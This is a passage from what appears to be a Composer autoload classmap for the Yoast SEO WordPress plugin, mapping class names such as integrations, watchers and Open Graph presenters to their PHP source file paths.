        'Yoast\\WP\\SEO\\Initializers\\Woocommerce' => __DIR__ . '/../..' . '/src/initializers/woocommerce.php',
        'Yoast\\WP\\SEO\\Integrations\\Abstract_Exclude_Post_Type' => __DIR__ . '/../..' . '/src/integrations/abstract-exclude-post-type.php',
        'Yoast\\WP\\SEO\\Integrations\\Academy_Integration' => __DIR__ . '/../..' . '/src/integrations/academy-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Activation_Cleanup_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/activation-cleanup-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Dialog_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/addon-installation/dialog-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Installation_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/addon-installation/installation-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/admin-columns-cache-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Background_Indexing_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/background-indexing-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Check_Required_Version' => __DIR__ . '/../..' . '/src/integrations/admin/check-required-version.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Crawl_Settings_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/crawl-settings-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Cron_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/cron-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Deactivated_Premium_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/deactivated-premium-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Disable_Concatenate_Scripts_Integration' => __DIR__ . '/../..' . '/src/deprecated/src/integrations/admin/disable-concatenate-scripts-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/first-time-configuration-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Notice_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/first-time-configuration-notice-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Fix_News_Dependencies_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/fix-news-dependencies-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Health_Check_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/health-check-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\HelpScout_Beacon' => __DIR__ . '/../..' . '/src/integrations/admin/helpscout-beacon.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Import_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/import-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexables_Exclude_Taxonomy_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/indexables-exclude-taxonomy-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Notification_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/indexing-notification-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Tool_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/indexing-tool-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Installation_Success_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/installation-success-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Integrations_Page' => __DIR__ . '/../..' . '/src/integrations/admin/integrations-page.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Link_Count_Columns_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/link-count-columns-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Menu_Badge_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/menu-badge-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Migration_Error_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/migration-error-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Configuration_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/old-configuration-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Premium_Integration' => __DIR__ . '/../..' . '/src/deprecated/src/integrations/admin/old-premium-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirect_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/redirect-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirects_Page_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/redirects-page-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Unsupported_PHP_Version_Notice' => __DIR__ . '/../..' . '/src/integrations/admin/unsupported-php-version-notice.php',
        'Yoast\\WP\\SEO\\Integrations\\Admin\\Workouts_Integration' => __DIR__ . '/../..' . '/src/integrations/admin/workouts-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Alerts\\Abstract_Dismissable_Alert' => __DIR__ . '/../..' . '/src/integrations/alerts/abstract-dismissable-alert.php',
        'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Product_Editor_Checklist_Notification' => __DIR__ . '/../..' . '/src/integrations/alerts/black-friday-product-editor-checklist-notification.php',
        'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Promotion_Notification' => __DIR__ . '/../..' . '/src/integrations/alerts/black-friday-promotion-notification.php',
        'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Sidebar_Checklist_Notification' => __DIR__ . '/../..' . '/src/integrations/alerts/black-friday-sidebar-checklist-notification.php',
        'Yoast\\WP\\SEO\\Integrations\\Alerts\\Trustpilot_Review_Notification' => __DIR__ . '/../..' . '/src/integrations/alerts/trustpilot-review-notification.php',
        'Yoast\\WP\\SEO\\Integrations\\Alerts\\Webinar_Promo_Notification' => __DIR__ . '/../..' . '/src/integrations/alerts/webinar-promo-notification.php',
        'Yoast\\WP\\SEO\\Integrations\\Blocks\\Block_Editor_Integration' => __DIR__ . '/../..' . '/src/integrations/blocks/block-editor-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Blocks\\Breadcrumbs_Block' => __DIR__ . '/../..' . '/src/integrations/blocks/breadcrumbs-block.php',
        'Yoast\\WP\\SEO\\Integrations\\Blocks\\Dynamic_Block' => __DIR__ . '/../..' . '/src/integrations/blocks/abstract-dynamic-block.php',
        'Yoast\\WP\\SEO\\Integrations\\Blocks\\Dynamic_Block_V3' => __DIR__ . '/../..' . '/src/integrations/blocks/abstract-dynamic-block-v3.php',
        'Yoast\\WP\\SEO\\Integrations\\Blocks\\Internal_Linking_Category' => __DIR__ . '/../..' . '/src/integrations/blocks/block-categories.php',
        'Yoast\\WP\\SEO\\Integrations\\Blocks\\Structured_Data_Blocks' => __DIR__ . '/../..' . '/src/integrations/blocks/structured-data-blocks.php',
        'Yoast\\WP\\SEO\\Integrations\\Breadcrumbs_Integration' => __DIR__ . '/../..' . '/src/integrations/breadcrumbs-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration' => __DIR__ . '/../..' . '/src/integrations/cleanup-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Duplicate_Post_Integration' => __DIR__ . '/../..' . '/src/deprecated/src/integrations/duplicate-post-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Estimated_Reading_Time' => __DIR__ . '/../..' . '/src/integrations/estimated-reading-time.php',
        'Yoast\\WP\\SEO\\Integrations\\Exclude_Attachment_Post_Type' => __DIR__ . '/../..' . '/src/integrations/exclude-attachment-post-type.php',
        'Yoast\\WP\\SEO\\Integrations\\Exclude_Oembed_Cache_Post_Type' => __DIR__ . '/../..' . '/src/integrations/exclude-oembed-cache-post-type.php',
        'Yoast\\WP\\SEO\\Integrations\\Feature_Flag_Integration' => __DIR__ . '/../..' . '/src/integrations/feature-flag-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Backwards_Compatibility' => __DIR__ . '/../..' . '/src/integrations/front-end/backwards-compatibility.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Category_Term_Description' => __DIR__ . '/../..' . '/src/integrations/front-end/category-term-description.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Comment_Link_Fixer' => __DIR__ . '/../..' . '/src/integrations/front-end/comment-link-fixer.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Basic' => __DIR__ . '/../..' . '/src/integrations/front-end/crawl-cleanup-basic.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Rss' => __DIR__ . '/../..' . '/src/integrations/front-end/crawl-cleanup-rss.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Searches' => __DIR__ . '/../..' . '/src/integrations/front-end/crawl-cleanup-searches.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Feed_Improvements' => __DIR__ . '/../..' . '/src/integrations/front-end/feed-improvements.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Force_Rewrite_Title' => __DIR__ . '/../..' . '/src/integrations/front-end/force-rewrite-title.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Handle_404' => __DIR__ . '/../..' . '/src/integrations/front-end/handle-404.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Indexing_Controls' => __DIR__ . '/../..' . '/src/integrations/front-end/indexing-controls.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Open_Graph_OEmbed' => __DIR__ . '/../..' . '/src/integrations/front-end/open-graph-oembed.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\RSS_Footer_Embed' => __DIR__ . '/../..' . '/src/integrations/front-end/rss-footer-embed.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Redirects' => __DIR__ . '/../..' . '/src/integrations/front-end/redirects.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Robots_Txt_Integration' => __DIR__ . '/../..' . '/src/integrations/front-end/robots-txt-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\Schema_Accessibility_Feature' => __DIR__ . '/../..' . '/src/integrations/front-end/schema-accessibility-feature.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End\\WP_Robots_Integration' => __DIR__ . '/../..' . '/src/integrations/front-end/wp-robots-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Front_End_Integration' => __DIR__ . '/../..' . '/src/integrations/front-end-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Integration_Interface' => __DIR__ . '/../..' . '/src/integrations/integration-interface.php',
        'Yoast\\WP\\SEO\\Integrations\\Primary_Category' => __DIR__ . '/../..' . '/src/integrations/primary-category.php',
        'Yoast\\WP\\SEO\\Integrations\\Settings_Integration' => __DIR__ . '/../..' . '/src/integrations/settings-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Support_Integration' => __DIR__ . '/../..' . '/src/integrations/support-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\AMP' => __DIR__ . '/../..' . '/src/integrations/third-party/amp.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\BbPress' => __DIR__ . '/../..' . '/src/integrations/third-party/bbpress.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Elementor' => __DIR__ . '/../..' . '/src/integrations/third-party/elementor.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_Elementor_Post_Types' => __DIR__ . '/../..' . '/src/integrations/third-party/exclude-elementor-post-types.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_WooCommerce_Post_Types' => __DIR__ . '/../..' . '/src/integrations/third-party/exclude-woocommerce-post-types.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Jetpack' => __DIR__ . '/../..' . '/src/integrations/third-party/jetpack.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\W3_Total_Cache' => __DIR__ . '/../..' . '/src/integrations/third-party/w3-total-cache.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML' => __DIR__ . '/../..' . '/src/integrations/third-party/wpml.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML_WPSEO_Notification' => __DIR__ . '/../..' . '/src/integrations/third-party/wpml-wpseo-notification.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories' => __DIR__ . '/../..' . '/src/integrations/third-party/web-stories.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories_Post_Edit' => __DIR__ . '/../..' . '/src/integrations/third-party/web-stories-post-edit.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher' => __DIR__ . '/../..' . '/src/deprecated/src/integrations/third-party/wincher.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher_Publish' => __DIR__ . '/../..' . '/src/integrations/third-party/wincher-publish.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce' => __DIR__ . '/../..' . '/src/integrations/third-party/woocommerce.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce_Post_Edit' => __DIR__ . '/../..' . '/src/integrations/third-party/woocommerce-post-edit.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Woocommerce_Permalinks' => __DIR__ . '/../..' . '/src/integrations/third-party/woocommerce-permalinks.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof' => __DIR__ . '/../..' . '/src/deprecated/src/integrations/third-party/wordproof.php',
        'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof_Integration_Toggle' => __DIR__ . '/../..' . '/src/deprecated/src/integrations/third-party/wordproof-integration-toggle.php',
        'Yoast\\WP\\SEO\\Integrations\\Uninstall_Integration' => __DIR__ . '/../..' . '/src/integrations/uninstall-integration.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Addon_Update_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/addon-update-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Auto_Update_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/auto-update-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Ancestor_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-ancestor-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Attachment_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-attachment-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Archive_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-author-archive-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-author-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Category_Permalink_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-category-permalink-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Date_Archive_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-date-archive-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_HomeUrl_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-homeurl-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Home_Page_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-home-page-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Permalink_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-permalink-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Meta_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-post-meta-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Archive_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-post-type-archive-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Change_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-post-type-change-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-post-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Static_Home_Page_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-static-home-page-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_System_Page_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-system-page-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Taxonomy_Change_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-taxonomy-change-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Term_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/indexable-term-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Titles_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/option-titles-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Wpseo_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/option-wpseo-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Category_Quick_Edit_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/primary-category-quick-edit-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Term_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/primary-term-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Search_Engines_Discouraged_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/search-engines-discouraged-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\Watchers\\Woocommerce_Beta_Editor_Watcher' => __DIR__ . '/../..' . '/src/integrations/watchers/woocommerce-beta-editor-watcher.php',
        'Yoast\\WP\\SEO\\Integrations\\XMLRPC' => __DIR__ . '/../..' . '/src/integrations/xmlrpc.php',
        'Yoast\\WP\\SEO\\Introductions\\Application\\Ai_Fix_Assessments_Upsell' => __DIR__ . '/../..' . '/src/introductions/application/ai-fix-assessments-upsell.php',
        'Yoast\\WP\\SEO\\Introductions\\Application\\Ai_Generate_Titles_And_Descriptions_Introduction_Upsell' => __DIR__ . '/../..' . '/src/deprecated/src/introductions/application/ai-generate-titles-and-descriptions-introduction-upsell.php',
        'Yoast\\WP\\SEO\\Introductions\\Application\\Current_Page_Trait' => __DIR__ . '/../..' . '/src/introductions/application/current-page-trait.php',
        'Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector' => __DIR__ . '/../..' . '/src/introductions/application/introductions-collector.php',
        'Yoast\\WP\\SEO\\Introductions\\Application\\User_Allowed_Trait' => __DIR__ . '/../..' . '/src/introductions/application/user-allowed-trait.php',
        'Yoast\\WP\\SEO\\Introductions\\Application\\Version_Trait' => __DIR__ . '/../..' . '/src/introductions/application/version-trait.php',
        'Yoast\\WP\\SEO\\Introductions\\Domain\\Introduction_Interface' => __DIR__ . '/../..' . '/src/introductions/domain/introduction-interface.php',
        'Yoast\\WP\\SEO\\Introductions\\Domain\\Introduction_Item' => __DIR__ . '/../..' . '/src/introductions/domain/introduction-item.php',
        'Yoast\\WP\\SEO\\Introductions\\Domain\\Introductions_Bucket' => __DIR__ . '/../..' . '/src/introductions/domain/introductions-bucket.php',
        'Yoast\\WP\\SEO\\Introductions\\Domain\\Invalid_User_Id_Exception' => __DIR__ . '/../..' . '/src/introductions/domain/invalid-user-id-exception.php',
        'Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Introductions_Seen_Repository' => __DIR__ . '/../..' . '/src/introductions/infrastructure/introductions-seen-repository.php',
        'Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository' => __DIR__ . '/../..' . '/src/introductions/infrastructure/wistia-embed-permission-repository.php',
        'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Integration' => __DIR__ . '/../..' . '/src/introductions/user-interface/introductions-integration.php',
        'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Seen_Route' => __DIR__ . '/../..' . '/src/introductions/user-interface/introductions-seen-route.php',
        'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Wistia_Embed_Permission_Route' => __DIR__ . '/../..' . '/src/introductions/user-interface/wistia-embed-permission-route.php',
        'Yoast\\WP\\SEO\\Loadable_Interface' => __DIR__ . '/../..' . '/src/loadable-interface.php',
        'Yoast\\WP\\SEO\\Loader' => __DIR__ . '/../..' . '/src/loader.php',
        'Yoast\\WP\\SEO\\Loggers\\Logger' => __DIR__ . '/../..' . '/src/loggers/logger.php',
        'Yoast\\WP\\SEO\\Main' => __DIR__ . '/../..' . '/src/main.php',
        'Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer' => __DIR__ . '/../..' . '/src/memoizers/meta-tags-context-memoizer.php',
        'Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer' => __DIR__ . '/../..' . '/src/memoizers/presentation-memoizer.php',
        'Yoast\\WP\\SEO\\Models\\Indexable' => __DIR__ . '/../..' . '/src/models/indexable.php',
        'Yoast\\WP\\SEO\\Models\\Indexable_Extension' => __DIR__ . '/../..' . '/src/models/indexable-extension.php',
        'Yoast\\WP\\SEO\\Models\\Indexable_Hierarchy' => __DIR__ . '/../..' . '/src/models/indexable-hierarchy.php',
        'Yoast\\WP\\SEO\\Models\\Primary_Term' => __DIR__ . '/../..' . '/src/models/primary-term.php',
        'Yoast\\WP\\SEO\\Models\\SEO_Links' => __DIR__ . '/../..' . '/src/models/seo-links.php',
        'Yoast\\WP\\SEO\\Models\\SEO_Meta' => __DIR__ . '/../..' . '/src/models/seo-meta.php',
        'Yoast\\WP\\SEO\\Presentations\\Abstract_Presentation' => __DIR__ . '/../..' . '/src/presentations/abstract-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Archive_Adjacent' => __DIR__ . '/../..' . '/src/presentations/archive-adjacent-trait.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Author_Archive_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-author-archive-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Date_Archive_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-date-archive-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Error_Page_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-error-page-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Home_Page_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-home-page-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Archive_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-post-type-archive-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-post-type-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Search_Result_Page_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-search-result-page-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Home_Page_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-static-home-page-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Posts_Page_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-static-posts-page-presentation.php',
        'Yoast\\WP\\SEO\\Presentations\\Indexable_Term_Archive_Presentation' => __DIR__ . '/../..' . '/src/presentations/indexable-term-archive-presentation.php',
        'Yoast\\WP\\SEO\\Presenters\\Abstract_Indexable_Presenter' => __DIR__ . '/../..' . '/src/presenters/abstract-indexable-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Abstract_Indexable_Tag_Presenter' => __DIR__ . '/../..' . '/src/presenters/abstract-indexable-tag-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Abstract_Presenter' => __DIR__ . '/../..' . '/src/presenters/abstract-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Alert_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/alert-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Badge_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/badge-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Beta_Badge_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/beta-badge-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Help_Link_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/help-link-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Indexing_Error_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/indexing-error-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Indexing_Failed_Notification_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/indexing-failed-notification-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Indexing_List_Item_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/indexing-list-item-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Indexing_Notification_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/indexing-notification-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Light_Switch_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/light-switch-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Meta_Fields_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/meta-fields-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Migration_Error_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/migration-error-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Notice_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/notice-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Premium_Badge_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/premium-badge-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Search_Engines_Discouraged_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/search-engines-discouraged-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Sidebar_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/sidebar-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Admin\\Woocommerce_Beta_Editor_Presenter' => __DIR__ . '/../..' . '/src/presenters/admin/woocommerce-beta-editor-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Breadcrumbs_Presenter' => __DIR__ . '/../..' . '/src/presenters/breadcrumbs-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Canonical_Presenter' => __DIR__ . '/../..' . '/src/presenters/canonical-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Debug\\Marker_Close_Presenter' => __DIR__ . '/../..' . '/src/presenters/debug/marker-close-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Debug\\Marker_Open_Presenter' => __DIR__ . '/../..' . '/src/presenters/debug/marker-open-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Meta_Author_Presenter' => __DIR__ . '/../..' . '/src/presenters/meta-author-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Meta_Description_Presenter' => __DIR__ . '/../..' . '/src/presenters/meta-description-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Article_Author_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/article-author-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Article_Modified_Time_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/article-modified-time-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Article_Published_Time_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/article-published-time-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Article_Publisher_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/article-publisher-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Description_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/description-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Image_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/image-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Locale_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/locale-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Site_Name_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/site-name-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Title_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/title-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Type_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/type-presenter.php',
